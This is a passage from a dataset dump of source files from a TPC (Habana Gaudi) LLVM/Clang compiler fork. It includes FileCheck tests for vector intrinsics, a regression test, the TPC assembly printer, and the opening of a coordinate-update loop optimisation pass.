weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x7, [[PRED]]\n res = v_i16_mov_dual_group_all_b(xx, 15, 2, 3, 0, 1, SW_WR_UPPER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=2 sdg1=3 sdg2=0 sdg3=1 weg0=2 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n\n res = v_i16_mov_dual_group_all_vb(xx, 1, 0, 1, 2, 3, SW_WR_LOWER_GROUP0 | SW_WR_UPPER_GROUP0, res, to_bool128(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=0 sdg1=1 sdg2=2 sdg3=3 weg0=3 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x1, [[VPRED]]\n\n res = v_i16_mov_dual_group_all_vb(xx, 7, 1, 2, 3, 0, SW_WR_LOWER_GROUP1 | SW_WR_UPPER_GROUP1, res, to_bool128(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=1 sdg1=2 sdg2=3 sdg3=0 weg0=0 weg1=3 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x7, [[VPRED]]\n\n res = v_i16_mov_dual_group_all_vb(xx, 15, 3, 0, 1, 2, SW_WR_UPPER_GROUP0 | SW_WR_UPPER_GROUP1, res, to_bool128(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=3 sdg1=0 sdg2=1 sdg3=2 weg0=2 weg1=2 weg2=0 weg3=0 [[DEST]], [[SRC]], 0xf, [[VPRED]]\n\n income = as_float64(res);\n }\n\n {\n ushort128 res = as_ushort128(income);\n ushort128 xx = as_ushort128(x);\n ushort128 __local *d_ptr = (ushort128 __local *)dest_ptr;\n \n res = v_u16_mov_dual_group_all_b(xx, 1, 0, 1, 2, 3, SW_WR_LOWER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=0 sdg1=1 sdg2=2 sdg3=3 weg0=1 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x1, [[PRED]]\n\n res = v_u16_mov_dual_group_all_b(xx, 7, 1, 2, 3, 0, SW_WR_LOWER_GROUP0 | SW_WR_UPPER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n \n// CHECK: mov_dg all sdg0=1 sdg1=2 sdg2=3 sdg3=0 weg0=3 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x7, [[PRED]]\n res = v_u16_mov_dual_group_all_b(xx, 15, 2, 3, 0, 1, SW_WR_UPPER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=2 sdg1=3 sdg2=0 sdg3=1 weg0=2 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n\n res = v_u16_mov_dual_group_all_vb(xx, 1, 0, 1, 2, 3, SW_WR_LOWER_GROUP0 | SW_WR_UPPER_GROUP0, res, to_bool128(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=0 sdg1=1 sdg2=2 sdg3=3 weg0=3 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x1, [[VPRED]]\n\n res = v_u16_mov_dual_group_all_vb(xx, 7, 1, 2, 3, 0, SW_WR_LOWER_GROUP1 | SW_WR_UPPER_GROUP1, res, to_bool128(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=1 sdg1=2 sdg2=3 sdg3=0 weg0=0 weg1=3 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x7, [[VPRED]]\n\n res = v_u16_mov_dual_group_all_vb(xx, 15, 3, 0, 1, 2, SW_WR_UPPER_GROUP0 | SW_WR_UPPER_GROUP1, res, to_bool128(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=3 sdg1=0 sdg2=1 sdg3=2 weg0=2 weg1=2 weg2=0 weg3=0 [[DEST]], [[SRC]], 0xf, [[VPRED]]\n\n income = as_float64(res);\n }\n\n {\n char256 res = as_char256(income);\n char256 xx = as_char256(x);\n char256 __local *d_ptr = (char256 __local *)dest_ptr;\n \n res = v_i8_mov_dual_group_all_b(xx, 1, 0, 1, 2, 3, SW_WR_LOWER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=0 sdg1=1 sdg2=2 sdg3=3 weg0=1 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x1, [[PRED]]\n\n res = v_i8_mov_dual_group_all_b(xx, 7, 1, 2, 3, 0, SW_WR_LOWER_GROUP0 | SW_WR_UPPER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n \n// CHECK: mov_dg all sdg0=1 sdg1=2 sdg2=3 sdg3=0 weg0=3 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x7, [[PRED]]\n res = v_i8_mov_dual_group_all_b(xx, 15, 2, 3, 0, 1, SW_WR_UPPER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=2 sdg1=3 sdg2=0 sdg3=1 weg0=2 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n\n res = v_i8_mov_dual_group_all_vb(xx, 1, 0, 1, 2, 3, SW_WR_LOWER_GROUP0 | SW_WR_UPPER_GROUP0, res, vpred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=0 sdg1=1 sdg2=2 sdg3=3 weg0=3 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x1, [[VPRED]]\n\n res = v_i8_mov_dual_group_all_vb(xx, 7, 1, 2, 3, 0, SW_WR_LOWER_GROUP1 | SW_WR_UPPER_GROUP1, res, vpred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=1 sdg1=2 sdg2=3 sdg3=0 weg0=0 weg1=3 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x7, [[VPRED]]\n\n res = v_i8_mov_dual_group_all_vb(xx, 15, 3, 0, 1, 2, SW_WR_UPPER_GROUP0 | SW_WR_UPPER_GROUP1, res, vpred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=3 sdg1=0 sdg2=1 sdg3=2 weg0=2 weg1=2 weg2=0 weg3=0 [[DEST]], [[SRC]], 0xf, [[VPRED]]\n\n income = as_float64(res);\n }\n\n {\n uchar256 res = as_uchar256(income);\n uchar256 xx = as_uchar256(x);\n uchar256 __local *d_ptr = (uchar256 __local *)dest_ptr;\n \n res = v_u8_mov_dual_group_all_b(xx, 1, 0, 1, 2, 3, SW_WR_LOWER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=0 sdg1=1 sdg2=2 sdg3=3 weg0=1 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x1, [[PRED]]\n\n res = v_u8_mov_dual_group_all_b(xx, 7, 1, 2, 3, 0, SW_WR_LOWER_GROUP0 | SW_WR_UPPER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n \n// CHECK: mov_dg all sdg0=1 sdg1=2 sdg2=3 sdg3=0 weg0=3 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x7, [[PRED]]\n res = v_u8_mov_dual_group_all_b(xx, 15, 2, 3, 0, 1, SW_WR_UPPER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=2 sdg1=3 sdg2=0 sdg3=1 weg0=2 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n\n res = v_u8_mov_dual_group_all_vb(xx, 1, 0, 1, 2, 3, SW_WR_LOWER_GROUP0 | SW_WR_UPPER_GROUP0, res, vpred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=0 sdg1=1 sdg2=2 sdg3=3 weg0=3 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x1, [[VPRED]]\n\n res = v_u8_mov_dual_group_all_vb(xx, 7, 1, 2, 3, 0, SW_WR_LOWER_GROUP1 | SW_WR_UPPER_GROUP1, res, vpred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=1 sdg1=2 sdg2=3 sdg3=0 weg0=0 weg1=3 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x7, [[VPRED]]\n\n res = v_u8_mov_dual_group_all_vb(xx, 15, 3, 0, 1, 2, SW_WR_UPPER_GROUP0 | SW_WR_UPPER_GROUP1, res, vpred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=3 sdg1=0 sdg2=1 sdg3=2 weg0=2 weg1=2 weg2=0 weg3=0 [[DEST]], [[SRC]], 0xf, [[VPRED]]\n\n income = as_float64(res);\n }\n}\n" }, { "alpha_fraction": 0.47693726420402527, "alphanum_fraction": 0.5784133076667786, "avg_line_length": 33.967742919921875, "blob_id": "cf92e4a8f1fe45bae0f8a58a46260aba364ba1f2", "content_id": "6a0db277aa55ad76a571c2694924a7536712c625", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1084, "license_type": "permissive", "max_line_length": 106, "num_lines": 31, "path": "/clang/test/RC99/IntrinsicsM/extract_exp-vi-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck %s\n\n\nvoid main(int dest, int src, _Bool pred) {\n short128 __local *res_ptr = (short128 __local *)dest;\n short128 __local *src_ptr = (short128 __local *)src;\n\n *res_ptr++ = v_bf16_extract_exp_s(0.8bf, 1);\n // CHECK-DAG: extract_exp.bf16 biased %V{{[0-9]+}}, 0x3f4d, %SP0\n\n *res_ptr++ = v_bf16_extract_exp_s(0.9bf, 0);\n // CHECK-DAG: extract_exp.bf16 %V{{[0-9]+}}, 0x3f66, %SP0\n\n short128 res = *src_ptr;\n\n res = v_bf16_extract_exp_s_b(0.8bf, res, 1, pred, 0);\n // CHECK-DAG: extract_exp.bf16 biased %V{{[0-9]+}}, 0x3f4d, %SP{{[0-9]+}}\n\n res = v_bf16_extract_exp_s_b(0.8bf, res, 0, pred, 0);\n // CHECK: extract_exp.bf16 %V{{[0-9]+}}, 0x3f4d, %SP{{[0-9]+}}\n \n bool256 vpred = bv_b_mov_b(pred);\n\n res = v_bf16_extract_exp_s_vb(0.8bf, res, 1, vpred, 0);\n // CHECK: extract_exp.bf16 biased %V{{[0-9]+}}, 0x3f4d, %VP{{[0-9]+}}\n\n res = v_bf16_extract_exp_s_vb(0.8bf, res, 0, vpred, 0);\n // CHECK: extract_exp.bf16 %V{{[0-9]+}}, 0x3f4d, %VP{{[0-9]+}}\n\n *res_ptr = res;\n}\n" }, { "alpha_fraction": 0.6504854559898376, "alphanum_fraction": 0.6650485396385193, "avg_line_length": 33.33333206176758, "blob_id": "52bd89381b4a64cc9a0337a0bbae20d4134c3ae8", "content_id": "b843f3febcbad429147181b1fc6e4f60a0c741a8", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 206, "license_type": "permissive", "max_line_length": 95, "num_lines": 6, "path": "/clang/test/RC99/target-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple=tpc -S -emit-llvm -std=rc99 -target-cpu dali -verify %s -o /dev/null\n\nvoid main() {\n require_cpu_goya();\n require_cpu_gaudi(); // expected-error{{needs target feature gaudi}}\n}\n" }, { "alpha_fraction": 0.6325377821922302, "alphanum_fraction": 0.6336675882339478, "avg_line_length": 36.26315689086914, "blob_id": "21d365605e61d214f81f1090fa06204502797fac", "content_id": "18b0ab3d07cf2dd7c74c1d8b60d78054f9299204", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7081, "license_type": "permissive", "max_line_length": 107, "num_lines": 190, "path": "/llvm/lib/Target/TPC/TPCAsmPrinter.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCAsmPrinter.cpp - Convert TPC LLVM code to AT&T assembly --------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n// This file contains a printer that converts from our internal representation\n// of machine-dependent LLVM code to TPC machine code.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCAsmPrinter.h\"\n#include \"TPCTargetMachine.h\"\n#include \"MCTargetDesc/TPCInstPrinter.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n#include \"llvm/CodeGen/MachineConstantPool.h\"\n#include \"llvm/CodeGen/MachineModuleInfoImpls.h\"\n#include \"llvm/CodeGen/TargetLoweringObjectFileImpl.h\"\n#include \"llvm/IR/DebugInfo.h\"\n#include \"llvm/IR/DerivedTypes.h\"\n#include \"llvm/IR/Mangler.h\"\n#include \"llvm/IR/Module.h\"\n#include \"llvm/IR/Type.h\"\n#include \"llvm/MC/MCAsmInfo.h\"\n#include \"llvm/MC/MCCodeEmitter.h\"\n#include \"llvm/MC/MCContext.h\"\n#include \"llvm/MC/MCExpr.h\"\n#include \"llvm/MC/MCSectionCOFF.h\"\n#include \"llvm/MC/MCSectionMachO.h\"\n#include \"llvm/MC/MCStreamer.h\"\n#include \"llvm/MC/MCSymbol.h\"\n#include \"llvm/Support/Debug.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n#include \"llvm/Support/MachineValueType.h\"\n#include \"llvm/Support/TargetRegistry.h\"\nusing namespace llvm;\n\nextern Target TheTPCTarget;\n\n// Force static initialization.\nextern \"C\" void LLVMInitializeTPCAsmPrinter() {\n RegisterAsmPrinter<TPCAsmPrinter> X(TheTPCTarget);\n}\n\nvoid TPCAsmPrinter::EmitInstruction(const MachineInstr* MI) {\n if (MI->isBundle()) {\n MCInst MCB = TPCMCInstrInfo::createBundle();\n const MachineBasicBlock* MBB = MI->getParent();\n MachineBasicBlock::const_instr_iterator MII = MI->getIterator();\n unsigned IgnoreCount = 0;\n\n for (++MII; MII != MBB->instr_end() && MII->isInsideBundle(); ++MII)\n {\n MCInst *instb = new (OutContext) MCInst;\n\n if (MII->getOpcode() == TargetOpcode::DBG_VALUE ||\n MII->getOpcode() == TargetOpcode::IMPLICIT_DEF ||\n MII->getOpcode() == TPC::LOOPEND)\n ++IgnoreCount;\n else\n {\n instb->setOpcode(MII->getOpcode());\n for (unsigned i = 0; i < MII->getNumOperands(); ++i) {\n MachineOperand sOp = MII->getOperand(i);\n if (sOp.isImm()) {\n instb->addOperand(MCOperand::createImm(sOp.getImm()));\n } else if (sOp.isFPImm()) {\n // TODO: Think about a better way than turn floats to ints\n APFloat Val = sOp.getFPImm()->getValueAPF();\n instb->addOperand(MCOperand::createImm(Val.bitcastToAPInt().getZExtValue()));\n } else if (sOp.isReg()) {\n instb->addOperand(MCOperand::createReg(sOp.getReg()));\n } else if (sOp.isMBB()) {\n MCOperand MCOp = MCOperand::createExpr(MCSymbolRefExpr::create(\n \t sOp.getMBB()->getSymbol(), this->OutContext));\n instb->addOperand(MCOp);\n } else if (sOp.isBlockAddress()) {\n MCSymbol *Sym = GetBlockAddressSymbol(sOp.getBlockAddress());\n MCOperand MCOp = MCOperand::createExpr(\n MCSymbolRefExpr::create(Sym, this->OutContext));\n instb->addOperand(MCOp);\n } else {\n llvm_unreachable(\n \"Operand other than register, blockaddress or immediate\");\n }\n }\n MCB.addOperand(MCOperand::createInst(instb));\n }\n }\n OutStreamer->EmitInstruction(MCB, getSubtargetInfo());\n return;\n }\n\n MCInst inst;\n switch(MI->getOpcode()) {\n case TPC::LOOPEND: return;\n default:\n inst.setOpcode(MI->getOpcode());\n for (unsigned i = 0; i < MI->getNumOperands(); ++i) {\n MachineOperand sOp = MI->getOperand(i);\n if (sOp.isImm()) {\n inst.addOperand(MCOperand::createImm(sOp.getImm()));\n } else if (sOp.isFPImm()) {\n // TODO: Think about a better way than turn floats to ints\n APFloat Val = sOp.getFPImm()->getValueAPF();\n inst.addOperand(MCOperand::createImm(Val.bitcastToAPInt().getZExtValue()));\n } else if (sOp.isReg()) {\n inst.addOperand(MCOperand::createReg(sOp.getReg()));\n } else if (sOp.isMBB()) {\n MCOperand MCOp = MCOperand::createExpr(MCSymbolRefExpr::create(\n sOp.getMBB()->getSymbol(), this->OutContext));\n inst.addOperand(MCOp);\n } else if (sOp.isBlockAddress()) {\n MCSymbol *Sym = GetBlockAddressSymbol(sOp.getBlockAddress());\n MCOperand MCOp = MCOperand::createExpr(\n MCSymbolRefExpr::create(Sym, this->OutContext));\n inst.addOperand(MCOp);\n } else {\n llvm_unreachable(\n \"Operand other than register, blockaddress or immediate\");\n }\n }\n break;\n }\n\n OutStreamer->EmitInstruction(inst, getSubtargetInfo());\n}\n\nstatic void printOperand(const MachineInstr *MI, unsigned OpNo, raw_ostream &O) {\n const MachineOperand &MO = MI->getOperand(OpNo);\n switch (MO.getType()) {\n case MachineOperand::MO_Register:\n O << TPCInstPrinter::getRegisterName(MO.getReg());\n break;\n default:\n llvm_unreachable(\"not implemented\");\n }\n}\n\nbool TPCAsmPrinter::PrintAsmOperand(const MachineInstr *MI, unsigned OpNo,\n const char *ExtraCode, raw_ostream &OS) {\n // Print the operand if there is no operand modifier.\n if (!ExtraCode || !ExtraCode[0]) {\n printOperand(MI, OpNo, OS);\n return false;\n }\n\n // Otherwise fallback on the default implementation.\n return AsmPrinter::PrintAsmOperand(MI, OpNo, ExtraCode, OS);\n}\n\n// This method ensures that blocks that are only linked via LOOP instruction\n// are not counted as fallthrough blocks. We need it because fallthrough\n// blocks do not have an address and therefore can't be referenced in a\n// relocation.\nbool TPCAsmPrinter::isBlockOnlyReachableByFallthrough(\n const MachineBasicBlock *MBB) const {\n if (!AsmPrinter::isBlockOnlyReachableByFallthrough(MBB)) {\n return false;\n }\n\n assert(MBB->pred_size() <= 1 && \"Fallthrough blocks can have only one predecessor\");\n\n // TODO: This is an overkill. We can have maximum of 4 LOOP instructions\n // in a method. We don't need to iterate over everything.\n for (MachineFunction::const_iterator I = MF->begin(), E = MF->end(); I != E; ++I) {\n const MachineBasicBlock *Block = &*I;\n for (const MachineInstr& MI : Block->instrs()) {\n if (isLoop(MI)) {\n int idx = TPCII::getIsPredicated(MI.getDesc()) ? MI.getNumOperands() - 7 : MI.getNumOperands() - 5;\n const MachineOperand& MO = MI.getOperand(idx);\n\n assert(MO.isMBB() && \"Last operand in a LOOP instruction should be a block\");\n\n if (MO.getMBB() == MBB) return false;\n }\n }\n }\n\n return true;\n}\n\nbool TPCAsmPrinter::isLoop(const MachineInstr& MI) const {\n unsigned Opc = MI.getOpcode();\n return TPCII::isLoopInst(MI.getDesc()) && Opc != TPC::LOOPEND;\n}\n\n" }, { "alpha_fraction": 0.43120676279067993, "alphanum_fraction": 0.5157570838928223, "avg_line_length": 32.35897445678711, "blob_id": "c2e9c6b989587cb73fca96f87f76026a444e1013", "content_id": "f1af602446d1c9a05fc97cd674419976eedb46b4", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1301, "license_type": "permissive", "max_line_length": 106, "num_lines": 39, "path": "/clang/test/RC99/IntrinsicsM/ld_l/b_b_ld_l_s.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck %s\n\n\nvoid main(unsigned addr, int dest) {\n volatile int __local *dptr = (int __local *)dest;\n\n _Bool result = b_b_ld_l_s(addr, 0);\n *dptr++ = result;\n \n result = b_b_ld_l_s(addr, 1);\n *dptr++ = result;\n \n result = b_b_ld_l_s(0x20, 0);\n *dptr++ = result;\n \n result = b_b_ld_l_s(0x20, 1);\n *dptr = result;\n}\n\n//CHECK: ld_l %SP[[Pred1:[0-9]+]], %S0, %SP0\n//CHECK: mov.i32 %S[[Val1:[0-9]+]], 0x1, %SP[[Pred1]]\n//CHECK: mov.i32 %S[[Val1]], 0x0, !%SP[[Pred1]]\n//CHECK: st_l %S{{[0-9]+}}, %S[[Val1]]\n\n//CHECK: ld_l mmio %SP[[Pred2:[0-9]+]], %S0, %SP0\n//CHECK: mov.i32 %S[[Val2:[0-9]+]], 0x1, %SP[[Pred2]]\n//CHECK: mov.i32 %S[[Val2]], 0x0, !%SP[[Pred2]]\n//CHECK: st_l %S{{[0-9]+}}, %S[[Val2]]\n\n//CHECK: ld_l %SP[[Pred3:[0-9]+]], 0x20, %SP0\n//CHECK: mov.i32 %S[[Val3:[0-9]+]], 0x1, %SP[[Pred3]]\n//CHECK: mov.i32 %S[[Val3]], 0x0, !%SP[[Pred3]]\n//CHECK: st_l %S{{[0-9]+}}, %S[[Val3]]\n\n//CHECK: ld_l mmio %SP[[Pred4:[0-9]+]], 0x20, %SP0\n//CHECK: mov.i32 %S[[Val4:[0-9]+]], 0x1, %SP[[Pred4]]\n//CHECK: mov.i32 %S[[Val4]], 0x0, !%SP[[Pred4]]\n//CHECK: st_l %S{{[0-9]+}}, %S[[Val4]]\n" }, { "alpha_fraction": 0.3725934326648712, "alphanum_fraction": 0.4201585650444031, "avg_line_length": 22.864864349365234, "blob_id": "0ba4a70d982120c6e00a23e250f3505d50dcccf6", "content_id": "24a9d0af26c39774340689bef5b5702060e9f3f5", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 883, "license_type": "permissive", "max_line_length": 78, "num_lines": 37, "path": "/clang/test/RC99/regression/fpga_test-1.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -O1 %s -o -\n\n/*****************************************************************************\n* Copyright (C) 2017 HabanaLabs, Ltd.\n* All Rights Reserved.\n*\n* Unauthorized copying of this file, via any medium is strictly prohibited.\n* Proprietary and confidential.\n*\n* Authors:\n* Tzachi Cohen <[email protected]>\n******************************************************************************\n*/\nvoid main(tensor a)\n{\n int64 vlm_data[8];\n int64 a = 0 ;\n vlm_data[0] = a;\n a += 1;\n vlm_data[1] = a;\n a += 1;\n vlm_data[2] = a;\n a += 1;\n vlm_data[3] = a;\n a += 1;\n vlm_data[4] = a;\n a += 1;\n vlm_data[5] = a;\n a += 1;\n vlm_data[6] = a;\n a += 1;\n vlm_data[7] = a;\n\n int5 storeCoord = { 0, 1, 2, 3, 4 };\n for (int i = 0; i < 8; ++i)\n i32_st_tnsr_i_v_b(storeCoord, 1, vlm_data[i], 1, 0);\n}\n" }, { "alpha_fraction": 0.6657701134681702, "alphanum_fraction": 0.6697507500648499, "avg_line_length": 34.43202209472656, "blob_id": "3837d207b8dd8a07700d3adca8842b4f641e8b80", "content_id": "561be68e587e6c202bdda86d8776c3355d6a7e97", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 27885, "license_type": "permissive", "max_line_length": 80, "num_lines": 787, "path": "/llvm/lib/Transforms/Scalar/CoordUpdateSimplify.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// ===== CoordUpdateSimplify.cpp : TPC IR Coord update simplification ===== //\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n// =====--------------------------------------------------------------------//\n// This pass transforms the Coord update style originally of the form :\n//\n// From :\n// -------------------------------------------------\n// %Header: // depth=innermost\n// %Base = phi <5 x i32> ([%x, %Header], [%PreBase, %Preheader]) // Coord\n// Phi %w = phi i32 ([%w.inc, %Header], [%PreW, %Preheader]) // Induction\n//\n// %x = insertelement(%Base, %w, #dim, ...)\n// ... uses ... (%x)\n//\n// ...\n// %w.inc = add %w, #imm\n//\n// %Exit:\n// %Base.lcssa = phi <5 x i32> ([%x, %Header], [%PreBase, %Preheader])\n//\n// -------------------------------------------------\n//\n// To :\n// -------------------------------------------------\n// %Preheader:\n// %PreBase = ...\n// %PreW = ...\n// %PreInit = insertelement(%PreBase, %PreW, dim, ...)\n//\n// %Header: // depth=innermost\n// %Base = phi <5 x i32> ([%x, %Header], [%PreInit, %Preheader])\n// %w = phi i32 ([%w.inc, %Header], [%PreW, %Preheader])\n//\n// ... uses ... (%Base)\n// %x = add.mask(%Base, #imm, #dim, ...)\n//\n// ...\n// %w.inc = add %w, #imm\n//\n// %Exit:\n// %Base.lcssa = phi <5 x i32> ([%x, %Header], [%PreInit, %Preheader])\n//\n// -------------------------------------------------\n//\n// Author : Vinay V. Vasista\n// Email : [email protected]\n//\n// ===== CoordUpdateSimplify.cpp : TPC IR Coord update simplification ===== //\n\n#include \"llvm/Analysis/LoopInfo.h\"\n#include \"llvm/Analysis/LoopPass.h\"\n#include \"llvm/Analysis/ScalarEvolution.h\"\n#include \"llvm/IR/CFG.h\"\n#include \"llvm/IR/Instruction.h\"\n#include \"llvm/IR/IntrinsicInst.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include \"llvm/IR/PassManager.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/Support/CommandLine.h\"\n#include \"llvm/Transforms/Scalar.h\"\n#include \"llvm/Transforms/Utils/LoopUtils.h\"\n\n#include \"TPCOptUtils.h\"\n\n#include <unordered_set>\n\nusing namespace llvm;\n\n#define PassName \"coord-simplify\"\n#define PassDescription \\\n \"Simplify costly TPC Coordinate update instructions in IR\"\n#define DEBUG_TYPE PassName\n\n#define CSP_DEBUG(x) LLVM_DEBUG(dbgs() << \"[CoordSimplPass] \" << x << \"\\n\");\n\nstatic cl::opt<bool> CoordUpdateFlag(\"coord-update-simplify\", cl::init(false),\n cl::Hidden);\n// block size above which profitability is considered\nstatic cl::opt<unsigned> BlockSizeCaution(\"csp-blocksize-caution\",\n cl::init(100), cl::Hidden);\n// block size beyond which transformation is not applied\nstatic cl::opt<unsigned> BlockSizeMax(\"csp-blocksize-max\", cl::init(200),\n cl::Hidden);\n// maximum number of loads allowed in the innermost loop's Header block\nstatic cl::opt<unsigned> MaxNumLoads(\"csp-max-num-loads\", cl::init(1),\n cl::Hidden);\n// maximum number of computes allowed in the innermost loop's Header block\nstatic cl::opt<unsigned> MaxNumComputes(\"csp-max-num-computes\", cl::init(4),\n cl::Hidden);\n// tolerable fraction of BlockSize for live-range of coord (after\n// simplification)\nstatic cl::opt<double> LiveRangeToleranceFactor(\"csp-live-range-tolerance\",\n cl::init(0.2), cl::Hidden);\n\nclass CoordUpdateSimplify : public LoopPass {\npublic:\n static char ID;\n CoordUpdateSimplify() : LoopPass(ID) {\n initializeCoordUpdateSimplifyPass(*PassRegistry::getPassRegistry());\n }\n\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.addPreserved<ScalarEvolutionWrapperPass>();\n getLoopAnalysisUsage(AU);\n }\n\n // entry\n bool runOnLoop(Loop *Lp, LPPassManager &LPM) override;\n\nprivate:\n Loop *WorkingLoop;\n BasicBlock *HeaderBlock;\n BasicBlock *PreheaderBlock;\n BasicBlock *ExitBlock;\n Value *InductionStep;\n\n InstructionUSetType TargetInsts;\n InstInstMapType InstCloneMap;\n InstInstMapType ExitLcssaPhiMap;\n\n InstNumMapType BBInstOrder;\n\n IntrinsicIDSet NonComputeIntrinIDs;\n\n // this set contains all the instructions related to branch instruction and\n // induction steps\n InstructionSetType LoopStructureInsts;\n\n // TODO : use enum if a one-one mapping of TPCII enums is created for IR\n unsigned Int32OpType = 2;\n\n // insertion points\n BasicBlock::iterator BBInsertIt;\n BasicBlock::iterator BBPhiInsertIt;\n\n InductionDescriptor InductionDesc;\n ScalarEvolution *SE;\n\n void dumpLoopBlocks(std::string HeaderNote);\n\n void resetContainers();\n\n PHINode *getBaseVal(Instruction *I) {\n return dyn_cast<PHINode>(I->getOperand(0));\n }\n\n PHINode *getInsertVal(Instruction *I) {\n return dyn_cast<PHINode>(I->getOperand(1));\n }\n\n // get the set of all users of I in it's Parent Block\n InstructionSetType getInductionUses(Instruction *I);\n\n // initialize the set of IDs of non-compute Intrinsics\n void populateNonComputeIntrinIDs();\n\n // initialize Analysis Info objects\n void initAnalysisInfo();\n\n // check if the given PHI node is an Induction Phi\n bool isInductionPHI(PHINode *PhiNode);\n\n // fetch or prepare Preheader versions of the given PHINode\n Value *getPreheaderVersion(PHINode *I, std::string DebugTag = \"\\t\");\n\n // add initialization instructions for the Target Coord instructions, in the\n // Preheader block\n void preInitCoords(std::string Indent = \"\\t\");\n\n // create an add.mask instruction object derived from insertelement 'I'\n Instruction *createAddMaskInst(Instruction *I);\n\n // return if the instruction has at least one user outside it's parent block\n bool hasUseOutsideBlock(Instruction *I);\n\n // replace the uses of TargetInst with the new AddMaskInst, and if there are\n // any Lcssa PHI nodes using TargetInst, replace their uses with the\n // correction AddMask\n void patchLcssaPHINodes(Instruction *I, Instruction *AddMaskInst,\n std::string Indent = \"\\t\");\n\n // modify Header Coord instructions\n void replaceHeaderUpdates(std::string Indent = \"\\t\");\n\n // set the step value for add.mask\n void computeAddMaskStep();\n\n // apply Coord update simplification\n void simplifyCoordUpdates();\n\n // check if the 